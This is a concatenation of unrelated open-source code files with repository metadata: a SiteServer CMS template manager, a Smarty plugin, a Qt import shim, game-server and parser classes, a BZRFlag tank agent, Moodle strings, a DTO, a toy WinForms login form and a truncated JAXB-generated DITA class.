(FileUtils.IsFileExists(metadataXmlFilePath)) { var siteTemplateInfo = Serializer.ConvertFileToObject(metadataXmlFilePath, typeof(SiteTemplateInfo)) as SiteTemplateInfo; if (siteTemplateInfo != null) { var directoryName = PathUtils.GetDirectoryName(siteTemplatePath); sortedlist.Add(directoryName, siteTemplateInfo); } } } return sortedlist; } public void ImportSiteTemplateToEmptyPublishmentSystem(int publishmentSystemId, string siteTemplateDir, bool isUseTables, bool isImportContents, bool isImportTableStyles, string administratorName) { var siteTemplatePath = PathUtility.GetSiteTemplatesPath(siteTemplateDir); if (DirectoryUtils.IsDirectoryExists(siteTemplatePath)) { var publishmentSystemInfo = PublishmentSystemManager.GetPublishmentSystemInfo(publishmentSystemId); var templateFilePath = PathUtility.GetSiteTemplateMetadataPath(siteTemplatePath, DirectoryUtils.SiteTemplates.FileTemplate); var tableDirectoryPath = PathUtility.GetSiteTemplateMetadataPath(siteTemplatePath, DirectoryUtils.SiteTemplates.Table); var menuDisplayFilePath = PathUtility.GetSiteTemplateMetadataPath(siteTemplatePath, DirectoryUtils.SiteTemplates.FileMenuDisplay); var tagStyleFilePath = PathUtility.GetSiteTemplateMetadataPath(siteTemplatePath, DirectoryUtils.SiteTemplates.FileTagStyle); var adFilePath = PathUtility.GetSiteTemplateMetadataPath(siteTemplatePath, DirectoryUtils.SiteTemplates.FileAd); var seoFilePath = PathUtility.GetSiteTemplateMetadataPath(siteTemplatePath, DirectoryUtils.SiteTemplates.FileSeo); var stlTagPath = PathUtility.GetSiteTemplateMetadataPath(siteTemplatePath, DirectoryUtils.SiteTemplates.FileStlTag); var gatherRuleFilePath = PathUtility.GetSiteTemplateMetadataPath(siteTemplatePath, DirectoryUtils.SiteTemplates.FileGatherRule); var inputDirectoryPath = PathUtility.GetSiteTemplateMetadataPath(siteTemplatePath, DirectoryUtils.SiteTemplates.Input); var configurationFilePath = PathUtility.GetSiteTemplateMetadataPath(siteTemplatePath, DirectoryUtils.SiteTemplates.FileConfiguration); var siteContentDirectoryPath = PathUtility.GetSiteTemplateMetadataPath(siteTemplatePath, DirectoryUtils.SiteTemplates.SiteContent); var contentModelPath = PathUtility.GetSiteTemplateMetadataPath(siteTemplatePath,DirectoryUtils.SiteTemplates.FileContentModel); var importObject = new ImportObject(publishmentSystemId); importObject.ImportFiles(siteTemplatePath, true); importObject.ImportTemplates(templateFilePath, true, administratorName); importObject.ImportAuxiliaryTables(tableDirectoryPath, isUseTables); importObject.ImportMenuDisplay(menuDisplayFilePath, true); importObject.ImportTagStyle(tagStyleFilePath, true); importObject.ImportAd(adFilePath, true); importObject.ImportSeo(seoFilePath, true); importObject.ImportStlTag(stlTagPath, true); importObject.ImportGatherRule(gatherRuleFilePath, true); importObject.ImportInput(inputDirectoryPath, true); importObject.ImportConfiguration(configurationFilePath); importObject.ImportContentModel(contentModelPath, true); var filePathArrayList = ImportObject.GetSiteContentFilePathArrayList(siteContentDirectoryPath); foreach (string filePath in filePathArrayList) { importObject.ImportSiteContent(siteContentDirectoryPath, filePath, isImportContents); } DataProvider.NodeDao.UpdateContentNum(publishmentSystemInfo); if (isImportTableStyles) { importObject.ImportTableStyles(tableDirectoryPath); } importObject.RemoveDbCache(); } } public static void ExportPublishmentSystemToSiteTemplate(PublishmentSystemInfo publishmentSystemInfo, string siteTemplateDir) { var exportObject = new ExportObject(publishmentSystemInfo.PublishmentSystemId); var siteTemplatePath = PathUtility.GetSiteTemplatesPath(siteTemplateDir); //导出模板 var templateFilePath = PathUtility.GetSiteTemplateMetadataPath(siteTemplatePath, DirectoryUtils.SiteTemplates.FileTemplate); exportObject.ExportTemplates(templateFilePath); //导出辅助表及样式 var tableDirectoryPath = PathUtility.GetSiteTemplateMetadataPath(siteTemplatePath, DirectoryUtils.SiteTemplates.Table); exportObject.ExportTablesAndStyles(tableDirectoryPath); //导出下拉菜单 var menuDisplayFilePath = PathUtility.GetSiteTemplateMetadataPath(siteTemplatePath, DirectoryUtils.SiteTemplates.FileMenuDisplay); exportObject.ExportMenuDisplay(menuDisplayFilePath); //导出模板标签样式 var tagStyleFilePath = PathUtility.GetSiteTemplateMetadataPath(siteTemplatePath, DirectoryUtils.SiteTemplates.FileTagStyle); exportObject.ExportTagStyle(tagStyleFilePath); //导出广告 var adFilePath = PathUtility.GetSiteTemplateMetadataPath(siteTemplatePath, DirectoryUtils.SiteTemplates.FileAd); exportObject.ExportAd(adFilePath); //导出采集规则 var gatherRuleFilePath = PathUtility.GetSiteTemplateMetadataPath(siteTemplatePath, DirectoryUtils.SiteTemplates.FileGatherRule); exportObject.ExportGatherRule(gatherRuleFilePath); //导出提交表单 var inputDirectoryPath = PathUtility.GetSiteTemplateMetadataPath(siteTemplatePath, DirectoryUtils.SiteTemplates.Input); exportObject.ExportInput(inputDirectoryPath); //导出站点属性以及站点属性表单 var configurationFilePath = PathUtility.GetSiteTemplateMetadataPath(siteTemplatePath, DirectoryUtils.SiteTemplates.FileConfiguration); exportObject.ExportConfiguration(configurationFilePath); //导出SEO var seoFilePath = PathUtility.GetSiteTemplateMetadataPath(siteTemplatePath, DirectoryUtils.SiteTemplates.FileSeo); exportObject.ExportSeo(seoFilePath); //导出自定义模板语言 var stlTagFilePath = PathUtility.GetSiteTemplateMetadataPath(siteTemplatePath, DirectoryUtils.SiteTemplates.FileStlTag); exportObject.ExportStlTag(stlTagFilePath); //导出关联字段 var relatedFieldDirectoryPath = PathUtility.GetSiteTemplateMetadataPath(siteTemplatePath, DirectoryUtils.SiteTemplates.RelatedField); exportObject.ExportRelatedField(relatedFieldDirectoryPath); //导出内容模型(自定义添加的) var contentModelDirectoryPath = PathUtility.GetSiteTemplateMetadataPath(siteTemplatePath, DirectoryUtils.SiteTemplates.FileContentModel); exportObject.ExportContentModel(contentModelDirectoryPath); } } }
kk141242/siteserver
source/SiteServer.CMS/ImportExport/SiteTemplateManager.cs
C#
gpl-3.0
9,736
<?php function smarty_function_chart_date_range($params, &$smarty) { global $L; $name_id = $params["name_id"]; $default = $params["default"]; $lines = array(); $lines[] = "<select name=\"$name_id\" id=\"$name_id\">"; $lines[] = "<option value=\"everything\" " . (($default == "everything") ? "selected" : "") . ">{$L["phrase_all_time"]}</option>"; $lines[] = "<optgroup label=\"{$L["phrase_days_or_weeks"]}\">"; $lines[] = "<option value=\"last_7_days\" " . (($default == "last_7_days") ? "selected" : "") . ">{$L["phrase_last_7_days"]}</option>"; $lines[] = "<option value=\"last_10_days\" " . (($default == "last_10_days") ? "selected" : "") . ">{$L["phrase_last_10_days"]}</option>"; $lines[] = "<option value=\"last_14_days\" " . (($default == "last_14_days") ? "selected" : "") . ">{$L["phrase_last_2_weeks"]}</option>"; $lines[] = "<option value=\"last_21_days\" " . (($default == "last_21_days") ? "selected" : "") . ">{$L["phrase_last_3_weeks"]}</option>"; $lines[] = "<option value=\"last_30_days\" " . (($default == "last_30_days") ? "selected" : "") . ">{$L["phrase_last_30_days"]}</option>"; $lines[] = "</optgroup>"; $lines[] = "<optgroup label=\"{$L["word_months"]}\">"; $lines[] = "<option value=\"year_to_date\" " . (($default == "year_to_date") ? "selected" : "") . ">{$L["phrase_year_to_date"]}</option>"; $lines[] = "<option value=\"month_to_date\" " . (($default == "month_to_date") ? "selected" : "") . ">{$L["phrase_month_to_date"]}</option>"; $lines[] = "<option value=\"last_2_months\" " . (($default == "last_2_months") ? "selected" : "") . ">{$L["phrase_last_2_months"]}</option>"; $lines[] = "<option value=\"last_3_months\" " . (($default == "last_3_months") ? "selected" : "") . ">{$L["phrase_last_3_months"]}</option>"; $lines[] = "<option value=\"last_4_months\" " . (($default == "last_4_months") ? "selected" : "") . ">{$L["phrase_last_4_months"]}</option>"; $lines[] = "<option value=\"last_5_months\" " . (($default == "last_5_months") ? "selected" : "") . ">{$L["phrase_last_5_months"]}</option>"; $lines[] = "<option value=\"last_6_months\" " . (($default == "last_6_months") ? "selected" : "") . ">{$L["phrase_last_6_months"]}</option>"; $lines[] = "</optgroup>"; $lines[] = "<optgroup label=\"{$L["word_years"]}\">"; $lines[] = "<option value=\"last_12_months\" " . (($default == "last_12_months") ? "selected" : "") . ">{$L["phrase_last_12_months"]}</option>"; $lines[] = "<option value=\"last_2_years\" " . (($default == "last_2_years") ? "selected" : "") . ">{$L["phrase_last_2_years"]}</option>"; $lines[] = "<option value=\"last_3_years\" " . (($default == "last_3_years") ? "selected" : "") . ">{$L["phrase_last_3_years"]}</option>"; $lines[] = "<option value=\"last_4_years\" " . (($default == "last_4_years") ? "selected" : "") . ">{$L["phrase_last_4_years"]}</option>"; $lines[] = "<option value=\"last_5_years\" " . (($default == "last_5_years") ? "selected" : "") . ">{$L["phrase_last_5_years"]}</option>"; $lines[] = "</optgroup>"; $lines[] = "</select>"; echo implode("\n", $lines); }
formtools/module-data_visualization
smarty_plugins/function.chart_date_range.php
PHP
gpl-3.0
3,073
# Qt library # # Notes: # There's no performance penalty for importing all Qt modules into whichever modules # need access to at least some Qt modules, so for simplicity's sake that's what we'll do. from util import RequiredImportError from constants import PYSIDE, PYQT4 import qt_helper _qtLib = qt_helper.qtLib def QtLib(): """Returns PYSIDE or PYQT4, whichever is being used by the program.""" return _qtLib if _qtLib == PYSIDE: from PySide import QtGui, QtCore, QtSql from PySide.QtGui import * from PySide.QtCore import * from PySide.QtSql import * from PySide.phonon import Phonon elif _qtLib == PYQT4: import sip sip.setapi('QString', 2) # Prevent QString from being returned by PyQt4 functions. sip.setapi('QVariant', 2) # Prevent QVariant from being returned by PyQt4 functions. from PyQt4 import QtGui, QtCore, QtSql from PyQt4.QtGui import * from PyQt4.QtCore import * from PyQt4.QtSql import * from PyQt4.phonon import Phonon else: raise RequiredImportError('No Qt library found.')
pylonsoflight/kea
qt.py
Python
gpl-3.0
1,023
/* * This file is part of the L2J Global project. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ package com.l2jglobal.gameserver.network.clientpackets; import com.l2jglobal.Config; import com.l2jglobal.commons.network.PacketReader; import com.l2jglobal.gameserver.model.actor.instance.L2PcInstance; import com.l2jglobal.gameserver.network.client.L2GameClient; import com.l2jglobal.gameserver.network.serverpackets.NpcHtmlMessage; /** * @author Global */ public class ExPCCafeRequestOpenWindowWithoutNPC implements IClientIncomingPacket { @Override public boolean read(L2GameClient client, PacketReader packet) { return true; } @Override public void run(L2GameClient client) { final L2PcInstance activeChar = client.getActiveChar(); if ((activeChar != null) && Config.PC_CAFE_ENABLED) { final NpcHtmlMessage html = new NpcHtmlMessage(); html.setFile(activeChar.getHtmlPrefix(), "data/html/pccafe.htm"); activeChar.sendPacket(html); } } }
rubenswagner/L2J-Global
java/com/l2jglobal/gameserver/network/clientpackets/ExPCCafeRequestOpenWindowWithoutNPC.java
Java
gpl-3.0
1,579
/* Generated By:JJTree: Do not edit this line. ASTSQLOrderByElem.java */ package com.hardcode.gdbms.parser; public class ASTSQLOrderByElem extends SimpleNode { public ASTSQLOrderByElem(int id) { super(id); } public ASTSQLOrderByElem(SQLEngine p, int id) { super(p, id); } /** Accept the visitor. **/ public Object jjtAccept(SQLEngineVisitor visitor, Object data) { return visitor.visit(this, data); } }
iCarto/siga
libGDBMS/src/main/java/com/hardcode/gdbms/parser/ASTSQLOrderByElem.java
Java
gpl-3.0
434
#!/usr/bin/python -tt # An incredibly simple agent. All we do is find the closest enemy tank, drive # towards it, and shoot. Note that if friendly fire is allowed, you will very # often kill your own tanks with this code. ################################################################# # NOTE TO STUDENTS # This is a starting point for you. You will need to greatly # modify this code if you want to do anything useful. But this # should help you to know how to interact with BZRC in order to # get the information you need. # # After starting the bzrflag server, this is one way to start # this code: # python agent0.py [hostname] [port] # # Often this translates to something like the following (with the # port name being printed out by the bzrflag server): # python agent0.py localhost 49857 ################################################################# import sys import math import time from bzrc import BZRC, Command class Agent(object): """Class handles all command and control logic for a teams tanks.""" def __init__(self, bzrc): self.go_straight = True self.bzrc = bzrc self.constants = self.bzrc.get_constants() self.commands = [] def tick(self, time_diff, shoot=False): print 'time_dif', time_diff """Some time has passed; decide what to do next.""" mytanks, othertanks, flags, shots = self.bzrc.get_lots_o_stuff() self.mytanks = mytanks self.othertanks = othertanks self.flags = flags self.shots = shots self.enemies = [tank for tank in othertanks if tank.color != self.constants['team']] self.commands = [] if shoot: print 'shooting' for tank in mytanks: self.tanks_shoot(tank) else: print 'go straight' if self.go_straight else 'turn instead' for tank in mytanks: self.testing_tanks(tank) self.go_straight = not self.go_straight results = self.bzrc.do_commands(self.commands) return self.go_straight def tanks_shoot(self, tank): self.bzrc.shoot(tank.index) def testing_tanks(self, tank): if self.go_straight: command = Command(tank.index, 1, 0, 0) else: command = Command(tank.index, 0, 0.6, 0) self.commands.append(command) def attack_enemies(self, tank): """Find the closest enemy and chase it, shooting as you go.""" best_enemy = None best_dist = 2 * float(self.constants['worldsize']) for enemy in self.enemies: if enemy.status != 'alive': continue dist = math.sqrt((enemy.x - tank.x)**2 + (enemy.y - tank.y)**2) if dist < best_dist: best_dist = dist best_enemy = enemy if best_enemy is None: command = Command(tank.index, 0, 0, False) self.commands.append(command) else: self.move_to_position(tank, best_enemy.x, best_enemy.y) def move_to_position(self, tank, target_x, target_y): """Set command to move to given coordinates.""" target_angle = math.atan2(target_y - tank.y, target_x - tank.x) relative_angle = self.normalize_angle(target_angle - tank.angle) command = Command(tank.index, 1, 2 * relative_angle, True) self.commands.append(command) def normalize_angle(self, angle): """Make any angle be between +/- pi.""" angle -= 2 * math.pi * int (angle / (2 * math.pi)) if angle <= -math.pi: angle += 2 * math.pi elif angle > math.pi: angle -= 2 * math.pi return angle def main(): # Process CLI arguments. try: execname, host, port = sys.argv except ValueError: execname = sys.argv[0] print >>sys.stderr, '%s: incorrect number of arguments' % execname print >>sys.stderr, 'usage: %s hostname port' % sys.argv[0] sys.exit(-1) # Connect. #bzrc = BZRC(host, int(port), debug=True) bzrc = BZRC(host, int(port)) agent = Agent(bzrc) prev_time = time.time() prev_time_shoot = time.time() wait = 8 # Run the agent try: while True: if time.time() > prev_time_shoot + 2: agent.tick(time.time() - prev_time_shoot, True) prev_time_shoot = time.time() if time.time() > prev_time + wait: went_straight = agent.tick(time.time() - prev_time) wait = 3 if went_straight else 8 prev_time = time.time() except KeyboardInterrupt: print "Exiting due to keyboard interrupt." bzrc.close() if __name__ == '__main__': main() # vim: et sw=4 sts=4
sm-github/bzrflag
bzagents/dumb_agent.py
Python
gpl-3.0
4,903
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. $string['multichoicewiris'] = 'Multiple choice - science'; $string['multichoicewiris_help'] = 'Like the standard Multiple choice, but you can deliver different question text and choices by inserting random numbers, formulas or plots. The feedback can also use the random values.'; $string['editingmultichoicewiris'] = 'Editing a multiple choice - math & science question by WIRIS'; $string['addingmultichoicewiris'] = 'Adding a multiple choice - math & science question by WIRIS'; $string['multichoicewirissummary'] = 'Like the standard Multiple choice, but you can deliver different question text and choices by inserting random numbers, formulas or plots. The feedback can also use the random values.'; $string['multichoicewiris_algorithm'] = 'Algorithm'; $string['multichoicewiris_wiris_variables'] = 'WIRIS variables '; $string['multichoicewiris_cantimportoverride'] = 'The multiple choice - math & science question could not be imported properly from Moodle 1.9 format. The question can be manually fixed following the instructions at <a href="http://www.wiris.com/quizzes/docs/moodle/manual/multiple-choice#frommoodle1">http://www.wiris.com/quizzes/docs/moodle/manual/multiple-choice#frommoodle1</a>.'; // From Moodle 2.3. $string['pluginname'] = 'Multiple choice - science'; $string['pluginname_help'] = 'Like the standard Multiple choice, but you can deliver different question text and choices by inserting random numbers, formulas or plots. The feedback can also use the random values.'; $string['pluginnamesummary'] = 'Like the standard Multiple choice, but you can deliver different question text and choices by inserting random numbers, formulas or plots. The feedback can also use the random values.'; $string['pluginnameadding'] = 'Adding a multiple choice - math & science question by WIRIS'; $string['pluginnameediting'] = 'Editing a multiple choice - math & science question by WIRIS';
nitro2010/moodle
question/type/multichoicewiris/lang/en/qtype_multichoicewiris.php
PHP
gpl-3.0
2,595
package tripbooker.dto.domain.ticket; /** * * @author Pablo Albaladejo Mestre <pablo.albaladejo.mestre@gmail.com> */ public class TicketDOImp implements ITicketDO{ private int ticketID; private String code; private int userID; private int flightID; @Override public int getTicketID() { return ticketID; } @Override public void setTicketID(int ticketID) { this.ticketID = ticketID; } @Override public String getCode() { return code; } @Override public void setCode(String code) { this.code = code; } @Override public int getUserID() { return userID; } @Override public void setUserID(int userID) { this.userID = userID; } @Override public int getFlightID() { return flightID; } @Override public void setFlightID(int flightID) { this.flightID = flightID; } @Override public String toString() { return "TicketDOImp{" + "ticketID=" + ticketID + ", code=" + code + ", userID=" + userID + ", flightID=" + flightID + '}'; } }
pablo-albaladejo/javaee
proyecto/base/tripbooker/src/tripbooker/dto/domain/ticket/TicketDOImp.java
Java
gpl-3.0
1,133
using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Text; using System.Windows.Forms; namespace multiFormList { public partial class FormLogin : Form { const string USERNAME = "admin"; const string PASSWORD = "0000"; public static string username; public FormLogin() { InitializeComponent(); } private void FormLogin_Load(object sender, EventArgs e) { textBox1.Focus(); username = ""; textBox1.Text = ""; textBox2.Text = ""; CenterToScreen(); textBox2.UseSystemPasswordChar = true; } private void button1_Click(object sender, EventArgs e) { if(textBox1.Text == USERNAME && textBox2.Text == PASSWORD) { username = USERNAME; this.Close(); } else { MessageBox.Show("帳號或密碼錯誤!", "錯誤", MessageBoxButtons.OK, MessageBoxIcon.Error); username = ""; } textBox1.Text = ""; textBox2.Text = ""; } private void button2_Click(object sender, EventArgs e) { username = ""; textBox1.Text = ""; textBox2.Text = ""; this.Close(); } } }
aben20807/window_programming
practice/multiFormList/multiFormList/FormLogin.cs
C#
gpl-3.0
1,456
package net.ramso.dita.bookmap; import java.util.ArrayList; import java.util.List; import javax.xml.bind.annotation.XmlAccessType; import javax.xml.bind.annotation.XmlAccessorType; import javax.xml.bind.annotation.XmlAttribute; import javax.xml.bind.annotation.XmlElement; import javax.xml.bind.annotation.XmlElements; import javax.xml.bind.annotation.XmlSchemaType; import javax.xml.bind.annotation.XmlSeeAlso; import javax.xml.bind.annotation.XmlType; import javax.xml.bind.annotation.adapters.CollapsedStringAdapter; import javax.xml.bind.annotation.adapters.XmlJavaTypeAdapter; import net.ramso.dita.utils.GenericData; /** * <p>Java class for frontmatter.class complex type. * * <p>The following schema fragment specifies the expected content contained within this class. * * <pre> * &lt;complexType name="frontmatter.class"> * &lt;complexContent> * &lt;restriction base="{http://www.w3.org/2001/XMLSchema}anyType"> * &lt;sequence> * &lt;group ref="{}frontmatter.content"/> * &lt;/sequence> * &lt;attGroup ref="{}frontmatter.attributes"/> * &lt;/restriction> * &lt;/complexContent> * &lt;/complexType> * </pre> * * */ @XmlAccessorType(XmlAccessType.FIELD) @XmlType(name = "frontmatter.class", propOrder = { "booklistsOrNoticesOrDedication" }) @XmlSeeAlso({ Frontmatter.class }) public class FrontmatterClass extends GenericData { @XmlElements({ @XmlElement(name = "booklists", type = Booklists.class), @XmlElement(name = "notices", type = Notices.class), @XmlElement(name = "dedication", type = Dedication.class), @XmlElement(name = "colophon", type = Colophon.class), @XmlElement(name = "bookabstract", type = Bookabstract.class), @XmlElement(name = "draftintro", type = Draftintro.class), @XmlElement(name = "preface", type = Preface.class), @XmlElement(name = "topicref", type = Topicref.class), @XmlElement(name = "anchorref", type = Anchorref.class), @XmlElement(name = "keydef", type = Keydef.class), @XmlElement(name = "mapref", type = Mapref.class), @XmlElement(name = "topicgroup", type = Topicgroup.class), @XmlElement(name = "topichead", type = Topichead.class), @XmlElement(name = "topicset", type = Topicset.class), @XmlElement(name = "topicsetref", type = Topicsetref.class) }) protected List<java.lang.Object> booklistsOrNoticesOrDedication; @XmlAttribute(name = "keyref") protected String keyref; @XmlAttribute(name = "query") protected String query; @XmlAttribute(name = "outputclass") protected String outputclass; @XmlAttribute(name = "id") @XmlJavaTypeAdapter(CollapsedStringAdapter.class) @XmlSchemaType(name = "NMTOKEN") protected String id; @XmlAttribute(name = "conref") protected String conref; @XmlAttribute(name = "conrefend") protected String conrefend; @XmlAttribute(name = "conaction") protected ConactionAttClass conaction; @XmlAttribute(name = "conkeyref") protected String conkeyref; @XmlAttribute(name = "translate") protected YesnoAttClass translate; @XmlAttribute(name = "lang", namespace = "http://www.w3.org/XML/1998/namespace") protected String lang; @XmlAttribute(name = "dir") protected DirAttsClass dir; @XmlAttribute(name = "base") protected String base; @XmlAttribute(name = "rev") protected String rev; @XmlAttribute(name = "importance") protected ImportanceAttsClass importance; @XmlAttribute(name = "status") protected StatusAttsClass status; @XmlAttribute(name = "props") protected String props; @XmlAttribute(name = "platform") protected String platform; @XmlAttribute(name = "product") protected String product; @XmlAttribute(name = "audience") protected String audienceMod; @XmlAttribute(name = "otherprops") protected String otherprops; @XmlAttribute(name = "collection-type") protected CollectionTypeClass collectionType; @XmlAttribute(name = "type") protected String type; @XmlAttribute(name = "processing-role") protected ProcessingRoleAttClass processingRole; @XmlAttribute(name = "scope") protected ScopeAttClass scope; @XmlAttribute(name = "locktitle") protected YesnoAttClass locktitle; @XmlAttribute(name = "format") protected String format; @XmlAttribute(name = "linking") protected LinkingtypesClass linking; @XmlAttribute(name = "toc") protected YesnoAttClass toc; @XmlAttribute(name = "print") protected PrintAttClass print; @XmlAttribute(name = "search") protected YesnoAttClass search; @XmlAttribute(name = "chunk") protected String chunk; @XmlAttribute(name = "xtrc") protected String xtrc; @XmlAttribute(name = "xtrf") protected String xtrf; /** * Gets the value of the booklistsOrNoticesOrDedication property. * * <p> * This accessor method returns a reference to the live list, * not a snapshot. Therefore any modification you make to the * returned list will be present inside the JAXB object. * This is why there is not a <CODE>set</CODE> method for the booklistsOrNoticesOrDedication property. * * <p> * For example, to add a new item, do as follows: * <pre> * getBooklistsOrNoticesOrDedication().add(newItem); * </pre> * * * <p> * Objects of the following type(s) are allowed in the list * {@link Booklists } * {@link Notices } * {@link Dedication } * {@link Colophon } * {@link Bookabstract } * {@link Draftintro } * {@link Preface } * {@link Topicref } * {@link Anchorref } * {@link Keydef } * {@link Mapref } * {@link Topicgroup } * {@link Topichead } * {@link Topicset } * {@link Topicsetref } * * */ public List<java.lang.Object> getBooklistsOrNoticesOrDedication() { if (booklistsOrNoticesOrDedication == null) { booklistsOrNoticesOrDedication = new ArrayList<java.lang.Object>(); } return this.booklistsOrNoticesOrDedication; } /** * Gets the value of the keyref property. * * @return * possible object is * {@link String } * */ public String getKeyref() { return keyref; } /** * Sets the value of the keyref property. * * @param value * allowed object is * {@link String } * */ public void setKeyref(String value) { this.keyref = value; } /** * Gets the value of the query property. * * @return * possible object is * {@link String } * */ public String getQuery() { return query; } /** * Sets the value of the query property. * * @param value * allowed object is * {@link String } * */ public void setQuery(String value) { this.query = value; } /** * Gets the value of the outputclass property. * * @return * possible object is * {@link String } * */ public String getOutputclass() { return outputclass; } /** * Sets the value of the outputclass property. * * @param value * allowed object is * {@link String } * */ public void setOutputclass(String value) { this.outputclass = value; } /** * Gets the value of the id property. * * @return * possible object is * {@link String } * */ public String getId() { return id; } /** * Sets the value of the id property. * * @param value * allowed object is * {@link String } * */ public void setId(String value) { this.id = value; } /** * Gets the value of the conref property. * * @return * possible object is * {@link String } * */ public String getConref() { return conref; } /** * Sets the value of the conref property. * * @param value * allowed object is * {@link String } * */ public void setConref(String value) { this.conref = value; } /** * Gets the value of the conrefend property. * * @return * possible object is * {@link String } * */ public String getConrefend() { return conrefend; } /** * Sets the value of the conrefend property. * * @param value * allowed object is * {@link String } * */ public void setConrefend(String value) { this.conrefend = value; } /** * Gets the value of the conaction property. * * @return * possible object is * {@link ConactionAttClass } * */ public ConactionAttClass getConaction() { return conaction; } /** * Sets the value of the conaction property. * * @param value * allowed object is * {@link ConactionAttClass } * */ public void setConaction(ConactionAttClass value) { this.conaction = value; } /** * Gets the value of the conkeyref property. * * @return * possible object is * {@link String } * */ public String getConkeyref() { return conkeyref; } /** * Sets the value of the conkeyref property. * * @param value * allowed object is * {@link String } * */ public void setConkeyref(String value) { this.conkeyref = value; } /** * Gets the value of the translate property. * * @return * possible object is * {@link YesnoAttClass } * */ public YesnoAttClass getTranslate() { return translate; } /** * Sets the value of the translate property. * * @param value * allowed object is * {@link YesnoAttClass } * */ public void setTranslate(YesnoAttClass value) { this.translate = value; } /** * Gets the value of the lang property. * * @return * possible object is * {@link String } * */ public String getLang() { return lang; } /** * Sets the value of the lang property. * * @param value * allowed object is * {@link String } * */ public void setLang(String value) { this.lang = value; } /** * Gets the value of the dir property. * * @return * possible object is * {@link DirAttsClass } * */ public DirAttsClass getDir() { return dir; } /** * Sets the value of the dir property. * * @param value * allowed object is * {@link DirAttsClass } * */ public void setDir(DirAttsClass value) { this.dir = value; } /** * Gets the value of the base property. * * @return * possible object is * {@link String } * */ public String getBase() { return base; } /** * Sets the value of the base property. * * @param value * allowed object is * {@link String } * */ public void setBase(String value) { this.base = value; } /** * Gets the value of the rev property. * * @return * possible object is * {@link String } * */ public String getRev() { return rev; } /** * Sets the value of the rev property. * * @param value * allowed object is * {@link String } * */ public void setRev(String value) { this.rev = value; } /** * Gets the value of the importance property. * * @return * possible object is * {@link ImportanceAttsClass } * */ public ImportanceAttsClass getImportance() { return importance; } /** * Sets the value of the importance property. * * @param value * allowed object is * {@link ImportanceAttsClass } * */ public void setImportance(ImportanceAttsClass value) { this.importance = value; } /** * Gets the value of the status property. * * @return * possible object is * {@link StatusAttsClass } * */ public StatusAttsClass getStatus() { return status; } /** * Sets the value of the status property. * * @param value * allowed object is * {@link StatusAttsClass } * */ public void setStatus(StatusAttsClass value) { this.status = value; } /** * Gets the value of the props property. * * @return * possible object is * {@link String } * */ public String getProps() { return props; } /** * Sets the value of the props property. * * @param value * allowed object is * {@link String } * */ public void setProps(String value) { this.props = value; } /** * Gets the value of the platform property. * * @return * possible object is * {@link String } * */ public String getPlatform() { return platform; } /** * Sets the value of the platform property. * * @param value * allowed object is * {@link String } * */ public void setPlatform(String value) { this.platform = value; } /** * Gets the value of the product property. * * @return * possible object is * {@link String } * */ public String getProduct() { return product; } /** * Sets the value of the product property. * * @param value * allowed object is * {@link String } * */ public void setProduct(String value) { this.product = value; } /** * Gets the value of the audienceMod property. * * @return * possible object is * {@link String } * */ public String getAudienceMod() { return audienceMod; } /** * Sets the value of the audienceMod property. * * @param value * allowed object is * {@link String } * */ public void setAudienceMod(String value) { this.audienceMod = value; } /** * Gets the value of the otherprops property. * * @return * possible object is * {@link String } * */ public String getOtherprops() { return otherprops; } /** * Sets the value of the otherprops property. * * @param value * allowed object is * {@link String } * */ public void setOtherprops(String value) { this.otherprops = value; } /** * Gets the value of the collectionType property. * * @return * possible object is * {@link CollectionTypeClass } * */ public CollectionTypeClass getCollectionType() { return collectionType; } /** * Sets the value of the collectionType property. * * @param value * allowed object is * {@link CollectionTypeClass } * */ public void setCollectionType(CollectionTypeClass value) { this.collectionType = value; } /** * Gets the value of the type property. * * @return * possible object is * {@link String } * */ public String getType() { return type; } /** * Sets the value of the type property. * * @param value * allowed object is * {@link String } * */ public void setType(String value) { this.type = value; } /** * Gets the value of the processingRole property. * * @return * possible object is * {@link ProcessingRoleAttClass } * */ public ProcessingRoleAttClass getProcessingRole() { return processingRole; } /** * Sets the value of the processingRole property. * * @param value * allowed object is * {@link ProcessingRoleAttClass } * */ public void setProcessingRole(ProcessingRoleAttClass value) { this.processingRole = value; } /** * Gets the value of the scope property. * * @return * possible object is * {@link ScopeAttClass } * */ public ScopeAttClass getScope() { return scope; } /** * Sets the value of the scope property. * * @param value * allowed object is * {@link ScopeAttClass } * */ public void setScope(ScopeAttClass value) { this.scope = value; } /** * Gets the value of the locktitle property. * * @return * possible object is * {@link YesnoAttClass } * */ public YesnoAttClass getLocktitle() { return locktitle; } /** * Sets the value of the locktitle property. * * @param value * allowed object is * {@link YesnoAttClass } * */ public void setLocktitle(YesnoAttClass value) { this.locktitle = value; } /** * Gets the value of the format property. * * @return * possible object is * {@link String } * */ public String getFormat() { return format; } /** * Sets the value of the format property. * * @param value * allowed object is * {@link String } * */ public void setFormat(String value) { this.format = value; } /** * Gets the value of the linking property. * * @return * possible object is * {@link LinkingtypesClass } * */ public LinkingtypesClass getLinking() { return linking; } /** * Sets the value of the linking property. * * @param value * allowed object is * {@link LinkingtypesClass } * */ public void setLinking(LinkingtypesClass value) { this.linking = value; } /** * Gets the value of the toc property. * * @return * possible object is * {@link YesnoAttClass } * */ public YesnoAttClass getToc() { return toc; } /** * Sets the value of the toc property. * * @param value * allowed object is * {@link YesnoAttClass } * */ public void setToc(YesnoAttClass value) { this.toc = value; } /** * Gets the value of the print property. * * @return * possible object is * {@link PrintAttClass } * */ public PrintAttClass getPrint() { return print; } /** * Sets the value of the print property. * * @param value * allowed object is * {@link PrintAttClass } * */ public void setPrint(PrintAttClass value) { this.print = value; } /** * Gets the value of the search property. * * @return * possible object is * {@link YesnoAttClass } * */ public YesnoAttClass 